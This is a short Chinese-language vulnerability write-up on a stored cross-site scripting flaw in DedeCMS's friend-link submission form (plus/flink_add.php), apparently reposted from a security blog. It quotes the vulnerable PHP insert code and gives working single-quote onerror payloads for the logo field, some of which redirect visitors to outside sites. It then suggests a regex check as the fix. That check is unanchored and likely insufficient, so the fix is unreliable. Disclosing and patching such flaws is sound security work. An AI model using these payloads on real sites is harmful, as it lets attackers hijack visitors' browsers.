这个问题应该很久了 最近发现有用这个的蠕虫,dede 前台提交友情链接 只用htmlspecialchars简单处理了一下 可以插入代码
plus/flink_add.php 提交:
表单中提交 图片地址
http://111.cc ' onerror='alert(98);'
http://111.cc 'onerror=location.href='http://www.baidu.com
只用htmlspecialchars做了处理 没有判断数据有效性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
$msg = htmlspecialchars( $msg ); $email = htmlspecialchars( $email ); $webname = htmlspecialchars( $webname ); $url = htmlspecialchars( $url ); $logo = htmlspecialchars( $logo ); $typeid = intval ( $typeid ); $dtime = time(); $query = "INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES( '50' , '$url' , '$webname' , '$logo' , '$msg' , '$email' , '$typeid' , '$dtime' , '0' )"; |
测试方法
http://111.cc ' onerror='alert(98);'
http://111.cc 'onerror=location.href='http://0day5.com/
修复办法:
plus/flink.php
对提交数据做一下判断
1
2
3
4
5
6
7
|
if (!preg_match( '/http:\/\/[\w.]+[\w\/]*[\w.]*\??[\w=&\+\%]*/is' , $logo )){ ShowMsg( '表单url问题!' , '-1' ,1); die (); } |
摘自:http://0day5.com/archives/925